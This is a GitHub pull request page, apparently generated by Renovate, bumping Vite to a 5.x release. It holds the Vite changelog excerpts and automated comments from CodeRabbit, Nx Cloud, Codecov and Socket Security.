[`v5.2.8`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small528-2024-04-03-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.7...v5.2.8) - fix: csp nonce injection when no closing tag ([#​16281](https://redirect.github.com/vitejs/vite/issues/16281)) ([#​16282](https://redirect.github.com/vitejs/vite/issues/16282)) ([3c85c6b](https://redirect.github.com/vitejs/vite/commit/3c85c6b)), closes [#​16281](https://redirect.github.com/vitejs/vite/issues/16281) [#​16282](https://redirect.github.com/vitejs/vite/issues/16282) - fix: do not access document in `/@​vite/client` when not defined ([#​16318](https://redirect.github.com/vitejs/vite/issues/16318)) ([646319c](https://redirect.github.com/vitejs/vite/commit/646319c)), closes [#​16318](https://redirect.github.com/vitejs/vite/issues/16318) - fix: fix sourcemap when using object as `define` value ([#​15805](https://redirect.github.com/vitejs/vite/issues/15805)) ([445c4f2](https://redirect.github.com/vitejs/vite/commit/445c4f2)), closes [#​15805](https://redirect.github.com/vitejs/vite/issues/15805) - fix(css): unknown file error happened with lightningcss ([#​16306](https://redirect.github.com/vitejs/vite/issues/16306)) ([01af308](https://redirect.github.com/vitejs/vite/commit/01af308)), closes [#​16306](https://redirect.github.com/vitejs/vite/issues/16306) - fix(hmr): multiple updates happened when invalidate is called while multiple tabs open ([#​16307](https://redirect.github.com/vitejs/vite/issues/16307)) ([21cc10b](https://redirect.github.com/vitejs/vite/commit/21cc10b)), closes [#​16307](https://redirect.github.com/vitejs/vite/issues/16307) - fix(scanner): duplicate modules for same id if glob is used in html-like types ([#​16305](https://redirect.github.com/vitejs/vite/issues/16305)) ([eca68fa](https://redirect.github.com/vitejs/vite/commit/eca68fa)), closes [#​16305](https://redirect.github.com/vitejs/vite/issues/16305) - chore(deps): update all non-major dependencies ([#​16325](https://redirect.github.com/vitejs/vite/issues/16325)) ([a78e265](https://redirect.github.com/vitejs/vite/commit/a78e265)), closes [#​16325](https://redirect.github.com/vitejs/vite/issues/16325) - refactor: use types from sass instead of [@​types/sass](https://redirect.github.com/types/sass) ([#​16340](https://redirect.github.com/vitejs/vite/issues/16340)) ([4581e83](https://redirect.github.com/vitejs/vite/commit/4581e83)), closes [#​16340](https://redirect.github.com/vitejs/vite/issues/16340) ### [`v5.2.7`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small527-2024-03-29-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.6...v5.2.7) - chore: deprecate splitVendorChunkPlugin ([#​16274](https://redirect.github.com/vitejs/vite/issues/16274)) ([45a06da](https://redirect.github.com/vitejs/vite/commit/45a06da)), closes [#​16274](https://redirect.github.com/vitejs/vite/issues/16274) - fix: skip injecting `__vite__mapDeps` when it's not used ([#​16271](https://redirect.github.com/vitejs/vite/issues/16271)) ([890538a](https://redirect.github.com/vitejs/vite/commit/890538a)), closes [#​16271](https://redirect.github.com/vitejs/vite/issues/16271) - fix(deps): update all non-major dependencies ([#​16258](https://redirect.github.com/vitejs/vite/issues/16258)) ([7caef42](https://redirect.github.com/vitejs/vite/commit/7caef42)), closes [#​16258](https://redirect.github.com/vitejs/vite/issues/16258) - fix(hmr): don't mutate module graph when collecting modules ([#​16302](https://redirect.github.com/vitejs/vite/issues/16302)) ([dfffea1](https://redirect.github.com/vitejs/vite/commit/dfffea1)), closes [#​16302](https://redirect.github.com/vitejs/vite/issues/16302) - fix(hmr): trigger hmr for missing file import errored module after file creation ([#​16303](https://redirect.github.com/vitejs/vite/issues/16303)) ([ffedc06](https://redirect.github.com/vitejs/vite/commit/ffedc06)), closes [#​16303](https://redirect.github.com/vitejs/vite/issues/16303) - fix(sourcemap): don't warn even if the sourcesContent is an empty string ([#​16273](https://redirect.github.com/vitejs/vite/issues/16273)) ([24e376a](https://redirect.github.com/vitejs/vite/commit/24e376a)), closes [#​16273](https://redirect.github.com/vitejs/vite/issues/16273) - feat(hmr): reload when HTML file is created/deleted ([#​16288](https://redirect.github.com/vitejs/vite/issues/16288)) ([1f53796](https://redirect.github.com/vitejs/vite/commit/1f53796)), closes [#​16288](https://redirect.github.com/vitejs/vite/issues/16288) ### [`v5.2.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small526-2024-03-24-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.5...v5.2.6) - fix: `fs.deny` with globs with directories ([#​16250](https://redirect.github.com/vitejs/vite/issues/16250)) ([ba5269c](https://redirect.github.com/vitejs/vite/commit/ba5269c)), closes [#​16250](https://redirect.github.com/vitejs/vite/issues/16250) ### [`v5.2.5`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small525-2024-03-24-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.4...v5.2.5) - fix: avoid SSR requests in waitForRequestIdle ([#​16246](https://redirect.github.com/vitejs/vite/issues/16246)) ([7093f77](https://redirect.github.com/vitejs/vite/commit/7093f77)), closes [#​16246](https://redirect.github.com/vitejs/vite/issues/16246) - docs: clarify enforce vs hook.order ([#​16226](https://redirect.github.com/vitejs/vite/issues/16226)) ([3a73e48](https://redirect.github.com/vitejs/vite/commit/3a73e48)), closes [#​16226](https://redirect.github.com/vitejs/vite/issues/16226) ### [`v5.2.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small524-2024-03-23-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.3...v5.2.4) - fix: dont resolve imports with malformed URI ([#​16244](https://redirect.github.com/vitejs/vite/issues/16244)) ([fbf69d5](https://redirect.github.com/vitejs/vite/commit/fbf69d5)), closes [#​16244](https://redirect.github.com/vitejs/vite/issues/16244) ### [`v5.2.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small523-2024-03-22-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.2...v5.2.3) - fix: handle warmup request error correctly ([#​16223](https://redirect.github.com/vitejs/vite/issues/16223)) ([d7c5256](https://redirect.github.com/vitejs/vite/commit/d7c5256)), closes [#​16223](https://redirect.github.com/vitejs/vite/issues/16223) - fix: skip encode if is data uri ([#​16233](https://redirect.github.com/vitejs/vite/issues/16233)) ([8617e76](https://redirect.github.com/vitejs/vite/commit/8617e76)), closes [#​16233](https://redirect.github.com/vitejs/vite/issues/16233) - fix(optimizer): fix `optimizeDeps.include` glob syntax for `./*` exports ([#​16230](https://redirect.github.com/vitejs/vite/issues/16230)) ([f184c80](https://redirect.github.com/vitejs/vite/commit/f184c80)), closes [#​16230](https://redirect.github.com/vitejs/vite/issues/16230) - fix(runtime): fix sourcemap with `prepareStackTrace` ([#​16220](https://redirect.github.com/vitejs/vite/issues/16220)) ([dad7f4f](https://redirect.github.com/vitejs/vite/commit/dad7f4f)), closes [#​16220](https://redirect.github.com/vitejs/vite/issues/16220) - chore: `utf8` replaced with `utf-8` ([#​16232](https://redirect.github.com/vitejs/vite/issues/16232)) ([9800c73](https://redirect.github.com/vitejs/vite/commit/9800c73)), closes [#​16232](https://redirect.github.com/vitejs/vite/issues/16232) ### [`v5.2.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small522-2024-03-20-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.1...v5.2.2) - fix(importAnalysis): skip encode in ssr ([#​16213](https://redirect.github.com/vitejs/vite/issues/16213)) ([e4d2d60](https://redirect.github.com/vitejs/vite/commit/e4d2d60)), closes [#​16213](https://redirect.github.com/vitejs/vite/issues/16213) ### [`v5.2.1`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small521-2024-03-20-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.0...v5.2.1) - fix: encode path uri only ([#​16212](https://redirect.github.com/vitejs/vite/issues/16212)) ([0b2e40b](https://redirect.github.com/vitejs/vite/commit/0b2e40b)), closes [#​16212](https://redirect.github.com/vitejs/vite/issues/16212) ### [`v5.2.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#520-2024-03-20) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.8...v5.2.0) - fix: update client.ts@cleanUrl to accomodate blob protocol ([#​16182](https://redirect.github.com/vitejs/vite/issues/16182)) ([1a3b1d7](https://redirect.github.com/vitejs/vite/commit/1a3b1d7)), closes [#​16182](https://redirect.github.com/vitejs/vite/issues/16182) - fix(assets): avoid splitting `,` inside query parameter of image URI in srcset property ([#​16081](https://redirect.github.com/vitejs/vite/issues/16081)) ([50caf67](https://redirect.github.com/vitejs/vite/commit/50caf67)), closes [#​16081](https://redirect.github.com/vitejs/vite/issues/16081) - chore(deps): update all non-major dependencies ([#​16186](https://redirect.github.com/vitejs/vite/issues/16186)) ([842643d](https://redirect.github.com/vitejs/vite/commit/842643d)), closes [#​16186](https://redirect.github.com/vitejs/vite/issues/16186) - perf(transformRequest): fast-path watch and sourcemap handling ([#​16170](https://redirect.github.com/vitejs/vite/issues/16170)) ([de60f1e](https://redirect.github.com/vitejs/vite/commit/de60f1e)), closes [#​16170](https://redirect.github.com/vitejs/vite/issues/16170) - docs: add `@shikiji/vitepress-twoslash` ([#​16168](https://redirect.github.com/vitejs/vite/issues/16168)) ([6f8a320](https://redirect.github.com/vitejs/vite/commit/6f8a320)), closes [#​16168](https://redirect.github.com/vitejs/vite/issues/16168) ### [`v5.1.8`](https://redirect.github.com/vitejs/vite/releases/tag/v5.1.8) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.7...v5.1.8) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.1.8/packages/vite/CHANGELOG.md) for details. ### [`v5.1.7`](https://redirect.github.com/vitejs/vite/releases/tag/v5.1.7) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.6...v5.1.7) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.1.7/packages/vite/CHANGELOG.md) for details. ### [`v5.1.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small516-2024-03-11-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.5...v5.1.6) - chore(deps): update all non-major dependencies ([#​16131](https://redirect.github.com/vitejs/vite/issues/16131)) ([a862ecb](https://redirect.github.com/vitejs/vite/commit/a862ecb)), closes [#​16131](https://redirect.github.com/vitejs/vite/issues/16131) - fix: check for publicDir before checking if it is a parent directory ([#​16046](https://redirect.github.com/vitejs/vite/issues/16046)) ([b6fb323](https://redirect.github.com/vitejs/vite/commit/b6fb323)), closes [#​16046](https://redirect.github.com/vitejs/vite/issues/16046) - fix: escape single quote when relative base is used ([#​16060](https://redirect.github.com/vitejs/vite/issues/16060)) ([8f74ce4](https://redirect.github.com/vitejs/vite/commit/8f74ce4)), closes [#​16060](https://redirect.github.com/vitejs/vite/issues/16060) - fix: handle function property extension in namespace import ([#​16113](https://redirect.github.com/vitejs/vite/issues/16113)) ([f699194](https://redirect.github.com/vitejs/vite/commit/f699194)), closes [#​16113](https://redirect.github.com/vitejs/vite/issues/16113) - fix: server middleware mode resolve ([#​16122](https://redirect.github.com/vitejs/vite/issues/16122)) ([8403546](https://redirect.github.com/vitejs/vite/commit/8403546)), closes [#​16122](https://redirect.github.com/vitejs/vite/issues/16122) - fix(esbuild): update tsconfck to fix bug that could cause a deadlock ([#​16124](https://redirect.github.com/vitejs/vite/issues/16124)) ([fd9de04](https://redirect.github.com/vitejs/vite/commit/fd9de04)), closes [#​16124](https://redirect.github.com/vitejs/vite/issues/16124) - fix(worker): hide "The emitted file overwrites" warning if the content is same ([#​16094](https://redirect.github.com/vitejs/vite/issues/16094)) ([60dfa9e](https://redirect.github.com/vitejs/vite/commit/60dfa9e)), closes [#​16094](https://redirect.github.com/vitejs/vite/issues/16094) - fix(worker): throw error when circular worker import is detected and support self referencing worker ([eef9da1](https://redirect.github.com/vitejs/vite/commit/eef9da1)), closes [#​16103](https://redirect.github.com/vitejs/vite/issues/16103) - style(utils): remove null check ([#​16112](https://redirect.github.com/vitejs/vite/issues/16112)) ([0d2df52](https://redirect.github.com/vitejs/vite/commit/0d2df52)), closes [#​16112](https://redirect.github.com/vitejs/vite/issues/16112) - refactor(runtime): share more code between runtime and main bundle ([#​16063](https://redirect.github.com/vitejs/vite/issues/16063)) ([93be84e](https://redirect.github.com/vitejs/vite/commit/93be84e)), closes [#​16063](https://redirect.github.com/vitejs/vite/issues/16063) ### [`v5.1.5`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small515-2024-03-04-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.4...v5.1.5) - fix: `__vite__mapDeps` code injection ([#​15732](https://redirect.github.com/vitejs/vite/issues/15732)) ([aff54e1](https://redirect.github.com/vitejs/vite/commit/aff54e1)), closes [#​15732](https://redirect.github.com/vitejs/vite/issues/15732) - fix: analysing build chunk without dependencies ([#​15469](https://redirect.github.com/vitejs/vite/issues/15469)) ([bd52283](https://redirect.github.com/vitejs/vite/commit/bd52283)), closes [#​15469](https://redirect.github.com/vitejs/vite/issues/15469) - fix: import with query with imports field ([#​16085](https://redirect.github.com/vitejs/vite/issues/16085)) ([ab823ab](https://redirect.github.com/vitejs/vite/commit/ab823ab)), closes [#​16085](https://redirect.github.com/vitejs/vite/issues/16085) - fix: normalize literal-only entry pattern ([#​16010](https://redirect.github.com/vitejs/vite/issues/16010)) ([1dccc37](https://redirect.github.com/vitejs/vite/commit/1dccc37)), closes [#​16010](https://redirect.github.com/vitejs/vite/issues/16010) - fix: optimizeDeps.entries with literal-only pattern(s) ([#​15853](https://redirect.github.com/vitejs/vite/issues/15853)) ([49300b3](https://redirect.github.com/vitejs/vite/commit/49300b3)), closes [#​15853](https://redirect.github.com/vitejs/vite/issues/15853) - fix: output correct error for empty import specifier ([#​16055](https://redirect.github.com/vitejs/vite/issues/16055)) ([a9112eb](https://redirect.github.com/vitejs/vite/commit/a9112eb)), closes [#​16055](https://redirect.github.com/vitejs/vite/issues/16055) - fix: upgrade esbuild to 0.20.x ([#​16062](https://redirect.github.com/vitejs/vite/issues/16062)) ([899d9b1](https://redirect.github.com/vitejs/vite/commit/899d9b1)), closes [#​16062](https://redirect.github.com/vitejs/vite/issues/16062) - fix(runtime): runtime HMR affects only imported files ([#​15898](https://redirect.github.com/vitejs/vite/issues/15898)) ([57463fc](https://redirect.github.com/vitejs/vite/commit/57463fc)), closes [#​15898](https://redirect.github.com/vitejs/vite/issues/15898) - fix(scanner): respect `experimentalDecorators: true` ([#​15206](https://redirect.github.com/vitejs/vite/issues/15206)) ([4144781](https://redirect.github.com/vitejs/vite/commit/4144781)), closes [#​15206](https://redirect.github.com/vitejs/vite/issues/15206) - revert: "fix: upgrade esbuild to 0.20.x" ([#​16072](https://redirect.github.com/vitejs/vite/issues/16072)) ([11cceea](https://redirect.github.com/vitejs/vite/commit/11cceea)), closes [#​16072](https://redirect.github.com/vitejs/vite/issues/16072) - refactor: share code with vite runtime ([#​15907](https://redirect.github.com/vitejs/vite/issues/15907)) ([b20d542](https://redirect.github.com/vitejs/vite/commit/b20d542)), closes [#​15907](https://redirect.github.com/vitejs/vite/issues/15907) - refactor(runtime): use functions from `pathe` ([#​16061](https://redirect.github.com/vitejs/vite/issues/16061)) ([aac2ef7](https://redirect.github.com/vitejs/vite/commit/aac2ef7)), closes [#​16061](https://redirect.github.com/vitejs/vite/issues/16061) - chore(deps): update all non-major dependencies ([#​16028](https://redirect.github.com/vitejs/vite/issues/16028)) ([7cfe80d](https://redirect.github.com/vitejs/vite/commit/7cfe80d)), closes [#​16028](https://redirect.github.com/vitejs/vite/issues/16028) ### [`v5.1.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small514-2024-02-21-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.3...v5.1.4) - perf: remove unnecessary regex s modifier ([#​15766](https://redirect.github.com/vitejs/vite/issues/15766)) ([8dc1b73](https://redirect.github.com/vitejs/vite/commit/8dc1b73)), closes [#​15766](https://redirect.github.com/vitejs/vite/issues/15766) - fix: fs cached checks disabled by default for yarn pnp ([#​15920](https://redirect.github.com/vitejs/vite/issues/15920)) ([8b11fea](https://redirect.github.com/vitejs/vite/commit/8b11fea)), closes [#​15920](https://redirect.github.com/vitejs/vite/issues/15920) - fix: resolve directory correctly when `fs.cachedChecks: true` ([#​15983](https://redirect.github.com/vitejs/vite/issues/15983)) ([4fe971f](https://redirect.github.com/vitejs/vite/commit/4fe971f)), closes [#​15983](https://redirect.github.com/vitejs/vite/issues/15983) - fix: srcSet with optional descriptor ([#​15905](https://redirect.github.com/vitejs/vite/issues/15905)) ([81b3bd0](https://redirect.github.com/vitejs/vite/commit/81b3bd0)), closes [#​15905](https://redirect.github.com/vitejs/vite/issues/15905) - fix(deps): update all non-major dependencies ([#​15959](https://redirect.github.com/vitejs/vite/issues/15959)) ([571a3fd](https://redirect.github.com/vitejs/vite/commit/571a3fd)), closes [#​15959](https://redirect.github.com/vitejs/vite/issues/15959) - fix(watch): build watch fails when outDir is empty string ([#​15979](https://redirect.github.com/vitejs/vite/issues/15979)) ([1d263d3](https://redirect.github.com/vitejs/vite/commit/1d263d3)), closes [#​15979](https://redirect.github.com/vitejs/vite/issues/15979) ### [`v5.1.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small513-2024-02-15-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.2...v5.1.3) - fix: cachedTransformMiddleware for direct css requests ([#​15919](https://redirect.github.com/vitejs/vite/issues/15919)) ([5099028](https://redirect.github.com/vitejs/vite/commit/5099028)), closes [#​15919](https://redirect.github.com/vitejs/vite/issues/15919) - refactor(runtime): minor tweaks ([#​15904](https://redirect.github.com/vitejs/vite/issues/15904)) ([63a39c2](https://redirect.github.com/vitejs/vite/commit/63a39c2)), closes [#​15904](https://redirect.github.com/vitejs/vite/issues/15904) - refactor(runtime): seal ES module namespace object instead of feezing ([#​15914](https://redirect.github.com/vitejs/vite/issues/15914)) ([4172f02](https://redirect.github.com/vitejs/vite/commit/4172f02)), closes [#​15914](https://redirect.github.com/vitejs/vite/issues/15914) ### [`v5.1.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small512-2024-02-14-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.1...v5.1.2) - fix: normalize import file path info ([#​15772](https://redirect.github.com/vitejs/vite/issues/15772)) ([306df44](https://redirect.github.com/vitejs/vite/commit/306df44)), closes [#​15772](https://redirect.github.com/vitejs/vite/issues/15772) - fix(build): do not output build time when build fails ([#​15711](https://redirect.github.com/vitejs/vite/issues/15711)) ([added3e](https://redirect.github.com/vitejs/vite/commit/added3e)), closes [#​15711](https://redirect.github.com/vitejs/vite/issues/15711) - fix(runtime): pass path instead of fileURL to `isFilePathESM` ([#​15908](https://redirect.github.com/vitejs/vite/issues/15908)) ([7b15607](https://redirect.github.com/vitejs/vite/commit/7b15607)), closes [#​15908](https://redirect.github.com/vitejs/vite/issues/15908) - fix(worker): support UTF-8 encoding in inline workers (fixes [#​12117](https://redirect.github.com/vitejs/vite/issues/12117)) ([#​15866](https://redirect.github.com/vitejs/vite/issues/15866)) ([570e0f1](https://redirect.github.com/vitejs/vite/commit/570e0f1)), closes [#​12117](https://redirect.github.com/vitejs/vite/issues/12117) [#​15866](https://redirect.github.com/vitejs/vite/issues/15866) - chore: update license file ([#​15885](https://redirect.github.com/vitejs/vite/issues/15885)) ([d9adf18](https://redirect.github.com/vitejs/vite/commit/d9adf18)), closes [#​15885](https://redirect.github.com/vitejs/vite/issues/15885) - chore(deps): update all non-major dependencies ([#​15874](https://redirect.github.com/vitejs/vite/issues/15874)) ([d16ce5d](https://redirect.github.com/vitejs/vite/commit/d16ce5d)), closes [#​15874](https://redirect.github.com/vitejs/vite/issues/15874) - chore(deps): update dependency dotenv-expand to v11 ([#​15875](https://redirect.github.com/vite

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.



This PR was generated by Mend Renovate. View the repository job log.

coderabbitai[bot] commented 3 months ago

[!IMPORTANT]

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.


🪧 Tips ### Chat There are 3 ways to chat with [CodeRabbit](https://coderabbit.ai): - Review comments: Directly reply to a review comment made by CodeRabbit. Example: - `I pushed a fix in commit , please review it.` - `Generate unit testing code for this file.` - `Open a follow-up GitHub issue for this discussion.` - Files and specific lines of code (under the "Files changed" tab): Tag `@coderabbitai` in a new review comment at the desired location with your query. Examples: - `@coderabbitai generate unit testing code for this file.` - `@coderabbitai modularize this function.` - PR comments: Tag `@coderabbitai` in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples: - `@coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.` - `@coderabbitai read src/utils.ts and generate unit testing code.` - `@coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.` - `@coderabbitai help me debug CodeRabbit configuration file.` Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments. ### CodeRabbit Commands (Invoked using PR comments) - `@coderabbitai pause` to pause the reviews on a PR. - `@coderabbitai resume` to resume the paused reviews. - `@coderabbitai review` to trigger an incremental review. This is useful when automatic reviews are disabled for the repository. - `@coderabbitai full review` to do a full review from scratch and review all the files again. - `@coderabbitai summary` to regenerate the summary of the PR. - `@coderabbitai resolve` resolve all the CodeRabbit review comments. - `@coderabbitai configuration` to show the current CodeRabbit configuration for the repository. - `@coderabbitai help` to get help. ### Other keywords and placeholders - Add `@coderabbitai ignore` anywhere in the PR description to prevent this PR from being reviewed. - Add `@coderabbitai summary` to generate the high-level summary at a specific location in the PR description. - Add `@coderabbitai` anywhere in the PR title to generate the title automatically. ### CodeRabbit Configuration File (`.coderabbit.yaml`) - You can programmatically configure CodeRabbit by adding a `.coderabbit.yaml` file to the root of your repository. - Please see the [configuration documentation](https://docs.coderabbit.ai/guides/configure-coderabbit) for more information. - If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: `# yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json` ### Documentation and Community - Visit our [Documentation](https://coderabbit.ai/docs) for detailed information on how to use CodeRabbit. - Join our [Discord Community](http://discord.gg/coderabbit) to get help, request features, and share feedback. - Follow us on [X/Twitter](https://twitter.com/coderabbitai) for updates and announcements.
nx-cloud[bot] commented 3 months ago

☁️ Nx Cloud Report

CI is running/has finished running commands for commit 4782964cbf91658c9aedcd5d717a9d4746a0c850. As they complete they will appear below. Click to see the status, the terminal output, and the build insights.

📂 See all runs for this CI Pipeline Execution


✅ Successfully ran 1 target - [`nx affected -t lint build test`](https://cloud.nx.app/runs/DfOYhyJBu3?utm_source=pull-request&utm_medium=comment)

Sent with 💌 from NxCloud.

codecov[bot] commented 3 months ago

Codecov Report

All modified and coverable lines are covered by tests :white_check_mark:

Please upload report for BASE (main@16f7cd0). Learn more about missing BASE report. Report is 2 commits behind head on main.

:white_check_mark: All tests successful. No failed tests found.

Additional details and impacted files ```diff @@ Coverage Diff @@ ## main #28 +/- ## ======================================= Coverage ? 60.11% ======================================= Files ? 19 Lines ? 682 Branches ? 68 ======================================= Hits ? 410 Misses ? 272 Partials ? 0 ``` | [Components](https://app.codecov.io/gh/rustymotors/rusty/pull/28/components?src=pr&el=components&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=rustymotors) | Coverage Δ | | |---|---|---| | [Server](https://app.codecov.io/gh/rustymotors/rusty/pull/28/components?src=pr&el=component&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=rustymotors) | `5.70% <ø> (?)` | | | [Config](https://app.codecov.io/gh/rustymotors/rusty/pull/28/components?src=pr&el=component&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=rustymotors) | `∅ <ø> (?)` | | | [Web](https://app.codecov.io/gh/rustymotors/rusty/pull/28/components?src=pr&el=component&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=rustymotors) | `79.32% <ø> (?)` | | | [Utils](https://app.codecov.io/gh/rustymotors/rusty/pull/28/components?src=pr&el=component&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=rustymotors) | `0.00% <ø> (?)` | | | [All Tests](https://app.codecov.io/gh/rustymotors/rusty/pull/28/components?src=pr&el=component&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=rustymotors) | `100.00% <ø> (?)` | | ------ [Continue to review full report in Codecov by Sentry](https://app.codecov.io/gh/rustymotors/rusty/pull/28?dropdown=coverage&src=pr&el=continue&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=rustymotors). > **Legend** - [Click here to learn more](https://docs.codecov.io/docs/codecov-delta?utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=rustymotors) > `Δ = absolute (impact)`, `ø = not affected`, `? = missing data` > Powered by [Codecov](https://app.codecov.io/gh/rustymotors/rusty/pull/28?dropdown=coverage&src=pr&el=footer&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=rustymotors). Last update [16f7cd0...4782964](https://app.codecov.io/gh/rustymotors/rusty/pull/28?dropdown=coverage&src=pr&el=lastupdated&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=rustymotors). Read the [comment docs](https://docs.codecov.io/docs/pull-request-comments?utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=rustymotors).
socket-security[bot] commented 1 month ago

New and removed dependencies detected. Learn more about Socket for GitHub ↗︎

Package New capabilities Transitives Size Publisher
npm/vite@5.3.6 environment, eval, filesystem, network, shell, unsafe +7 6.04 MB vitebot

🚮 Removed packages: npm/vite@2.0.4

View full report↗︎